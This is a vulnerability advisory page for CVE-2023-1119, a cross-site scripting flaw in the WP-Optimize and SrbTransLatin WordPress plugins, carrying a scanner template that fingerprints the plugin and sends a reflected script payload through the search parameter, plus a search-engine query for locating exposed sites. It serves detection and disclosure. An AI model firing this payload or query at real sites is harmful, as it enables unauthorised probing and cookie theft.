CVE-2023-1119: WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting

2025-08-01 WP Optimize WordPress PoC Public

Description

The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.

Details

CVE
CVE-2023-1119 · CVE.org
Severity
中危
Affected
WP Optimize WordPress
Published
PoC
Public

PoC

id: CVE-2023-1119

info:
  name: WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through search parameters due to improper HTML character escaping in a third-party library, enabling theft of WordPress user session cookies.
  remediation: Users are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1119
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1119
    cwe-id: CWE-79
    epss-score: 0.01244
    epss-percentile: 0.69745
    cpe: cpe:2.3:a:wp-optimize:wp-optimize:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wordpress
    product: wp-optimize,srbtranslatin
    fofa-query: body="/wp-content/plugins/wp-optimize"
  tags: cve,cve2023,wp,wp-plugin,wordpress,wp-optimize,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/wp-optimize"
        internal: true

  - raw:
      - |
        GET /?s=<%2Fscript><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "Search"
        condition: and

      - type: word
        part: body
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402206b8eeb1ebb837edf192ca96a96a64b5997c98f6776fad37592d1f8063fb523a1022051c78235e513737806f8466e0ff2b84e6e7f6bac7c6db83ce8e935abf396d32b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life